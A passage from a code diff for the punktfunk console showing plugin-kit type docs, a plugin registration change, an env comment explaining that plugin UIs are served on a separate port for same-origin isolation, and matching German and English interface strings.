* What KIND of plugin this is (`[a-z][a-z0-9-]{0,31}`). The console groups and filters on it
* and notably keeps `"library"` plugins **out of the nav**, because a scanner's entry point is
* the Library section's Game sources surface, not a sidebar item of its own. Six installed
* scanners would otherwise flood the sidebar.
*
* `@punktfunk/plugin-kit`'s `defineLibraryPlugin` sets this for you. Set it by hand only if you
* are building a library plugin without the kit and omit it if your plugin wants a full page
* despite also syncing a library (rom-manager does).
*/
category?: string;
/**
* Directory of the built SPA. Requests are served from here first (with an `index.html` SPA
* fallback for navigations); a static miss falls through to [`fetch`]. Accepts a filesystem
@@ -193,9 +182,6 @@ export const servePluginUi = async (
secret,
...(opts.icon !== undefined ? { icon: opts.icon } : {}),
},
// Sent through the UNTYPED `pf.request` below, so an older host simply ignores the unknown
// field rather than rejecting the registration — no runner flag, no version gate.
...(opts.category !== undefined ? { category: opts.category } : {}),
};
const register = () => pf.request("PUT", `/plugins/${opts.id}`, body);
+13
View File
@@ -44,3 +44,16 @@ PUNKTFUNK_UI_SECURE=1
# The Bun server binds these (standard Nitro env):
# PORT=47992
# HOST=0.0.0.0
# The port plugin UIs are served on — their OWN ORIGIN, not the console's. Defaults to PORT + 1.
#
# This is a security boundary, not a layout choice. A plugin's interface is third-party code; served
# on the console's origin it ran as first-party script with the operator's session and could drive
# the whole admin API (security-review 2026-08-05 H-3). Same host, same certificate, different port
# means a different ORIGIN to the browser (so the same-origin policy separates them) while staying
# the same SITE (so the SameSite=Lax session cookie still reaches it and plugin pages keep working).
#
# The console refuses to serve plugin UIs on its own origin, so if this port cannot be bound, plugin
# UIs are DISABLED rather than silently moved back — the console says so on the plugin page.
# Open it in the firewall alongside PORT if you reach the console from other devices.
# PUNKTFUNK_UI_PLUGIN_PORT=47993
+9 -18
View File
@@ -10,6 +10,11 @@
"nav_library": "Bibliothek",
"nav_plugins": "Plugins",
"plugin_offline_title": "Dieses Plugin läuft nicht",
"plugin_origin_untrusted_title": "Port dieses Plugins einmal best\u00e4tigen",
"plugin_origin_untrusted_hint": "Plugin-Oberfl\u00e4chen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dein Browser vertraut dem Zertifikat dieses Hosts f\u00fcr den Konsolen-Port, aber noch nicht f\u00fcr diesen — und in einem Frame kann er nicht nachfragen. \u00d6ffne ihn einmal in einem Tab, best\u00e4tige das Zertifikat und komm zur\u00fcck.",
"plugin_origin_untrusted_open": "In neuem Tab \u00f6ffnen",
"plugin_origin_unavailable_title": "Plugin-Oberfl\u00e4chen sind nicht verf\u00fcgbar",
"plugin_origin_unavailable_hint": "Plugin-Oberfl\u00e4chen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dieser Port konnte nicht ge\u00f6ffnet werden, deshalb bleiben sie deaktiviert. Sieh ins Konsolen-Log, setze dann PUNKTFUNK_UI_PLUGIN_PORT auf einen freien Port und starte neu.",
"plugin_offline_hint": "Starte den Scripting-Runner und versuche es erneut.",
"plugin_retry": "Erneut versuchen",
"plugin_open_new_tab": "In neuem Tab öffnen",
@@ -270,6 +275,8 @@
"library_field_logo": "Logo-Bild-URL",
"library_field_command": "Startbefehl",
"library_field_command_help": "Optional. Der Befehl, mit dem der Host diesen Titel startet.",
"library_field_password": "Konsolen-Passwort",
"library_field_password_help": "Ein Startbefehl l\u00e4uft auf dem Host mit deinen Rechten. Best\u00e4tige zum Speichern dein Konsolen-Passwort.",
"library_field_platform": "Plattform",
"library_field_platform_help": "Das System, auf dem dieser Titel läuft, z. B. PS2, Xbox 360, SNES, PC.",
"library_field_description": "Beschreibung",
@@ -285,25 +292,9 @@
"library_field_players": "Spieler",
"library_details_legend": "Details (optional)",
"library_owned_by": "über {provider}",
"library_providers_title": "Von Plugins synchronisiert",
"library_providers_help": "Diese Einträge gehören einem Plugin und lassen sich deshalb nicht einzeln bearbeiten oder löschen — das Plugin synchronisiert sie neu. Ist das Plugin weg, entferne seine Einträge hier.",
"library_provider_count": "{count} Einträge",
"library_launchers_title": "Launcher",
"library_empty_add_source": "Füge unten eine Spielquelle hinzu, damit deine installierten Spiele hier erscheinen.",
"library_add_source": "Quelle hinzufügen",
"library_source_detected": "Erkannt",
"library_source_running": "Läuft",
"library_source_stopped": "Gestoppt",
"library_source_settings": "Einstellungen",
"library_source_settings_title": "Einstellungen für {source}",
"library_source_settings_save": "Einstellungen speichern",
"library_source_settings_saved": "Einstellungen gespeichert.",
"library_source_settings_failed": "Einstellungen konnten nicht gespeichert werden: {issue}",
"library_source_settings_unreachable": "Die Einstellungen dieser Quelle sind nicht erreichbar: {issue}",
"library_source_settings_json_hint": "Die Einstellungen dieser Quelle passen in kein einfaches Formular — bearbeite sie als JSON. Sie werden vor dem Speichern geprüft.",
"library_migrate_title": "Spielquellen werden zu Plugins",
"library_migrate_help": "Jeder Launcher wird ein eigenes Add-on — du installierst nur die, die du nutzt, und jedes bekommt eigene Einstellungen. Installierst du eines, übernimmt es vom eingebauten Scanner; deine Spiele behalten ihre Kacheln. Wenn du nichts tust, ändert sich nichts.",
"library_migrate_install": "Quelle {source} installieren",
"library_source_installing": "{title} wird installiert…",
"library_source_install_failed": "Diese Quelle konnte nicht installiert werden.",
"library_provider_filter": "Nur diese zeigen",
"library_provider_show_all": "Alle zeigen",
"library_provider_purge": "Einträge dieses Anbieters entfernen",
+9 -18
View File
@@ -54,6 +54,11 @@
"nav_more": "More",
"nav_plugins": "Plugins",
"plugin_offline_title": "This plugin isn't running",
"plugin_origin_untrusted_title": "Trust this plugin's port once",
"plugin_origin_untrusted_hint": "Plugin interfaces run on their own port so a plugin can't act as you on the console. Your browser trusts this host's certificate for the console's port but not yet for theirs, and it can't ask you inside a frame. Open it once in a tab, accept the certificate, then come back.",
"plugin_origin_untrusted_open": "Open in a new tab",
"plugin_origin_unavailable_title": "Plugin interfaces are unavailable",
"plugin_origin_unavailable_hint": "Plugin interfaces are served on their own port so a plugin can't act as you on the console. That port could not be opened, so they stay switched off. Check the console log, then set PUNKTFUNK_UI_PLUGIN_PORT to a free port and restart.",
"plugin_offline_hint": "Start the scripting runner, then retry.",
"plugin_retry": "Retry",
"plugin_open_new_tab": "Open in new tab",
@@ -270,6 +275,8 @@
"library_field_logo": "Logo art URL",
"library_field_command": "Launch command",
"library_field_command_help": "Optional. The command the host runs to launch this title.",
"library_field_password": "Console password",
"library_field_password_help": "A launch command runs on the host as you. Confirm your console password to save it.",
"library_field_platform": "Platform",
"library_field_platform_help": "The system this title runs on, e.g. PS2, Xbox 360, SNES, PC.",
"library_field_description": "Description",
@@ -285,25 +292,9 @@
"library_field_players": "Players",
"library_details_legend": "Details (optional)",
"library_owned_by": "via {provider}",
"library_providers_title": "Synced by plugins",
"library_providers_help": "These entries are owned by a plugin, so they can't be edited or removed one at a time — the plugin re-syncs them. If the plugin is gone, remove its entries here.",
"library_provider_count": "{count} entries",
"library_launchers_title": "Launchers",
"library_empty_add_source": "Add a game source below to see your installed games here.",
"library_add_source": "Add a source",
"library_source_detected": "Detected",
"library_source_running": "Running",
"library_source_stopped": "Stopped",
"library_source_settings": "Settings",
"library_source_settings_title": "{source} settings",
"library_source_settings_save": "Save settings",
"library_source_settings_saved": "Settings saved.",
"library_source_settings_failed": "Could not save the settings: {issue}",
"library_source_settings_unreachable": "Could not reach this source's settings: {issue}",
"library_source_settings_json_hint": "This source's settings don't fit a simple form, so edit them as JSON. They're checked before saving.",
"library_migrate_title": "Game sources are moving to plugins",
"library_migrate_help": "Each launcher is becoming its own add-on, so you only install the ones you use — and each gets its own settings. Install one and it takes over from the built-in scanner; your games keep the same tiles. Nothing changes if you do nothing yet.",
"library_migrate_install": "Install the {source} source",
"library_source_installing": "Installing {title}…",
"library_source_install_failed": "Could not install this source.",
"library_provider_filter": "Show only these",
"library_provider_show_all": "Show all",
"library_provider_purge": "Remove this provider's entries",

Some files were not shown because too many files have changed in this diff Show More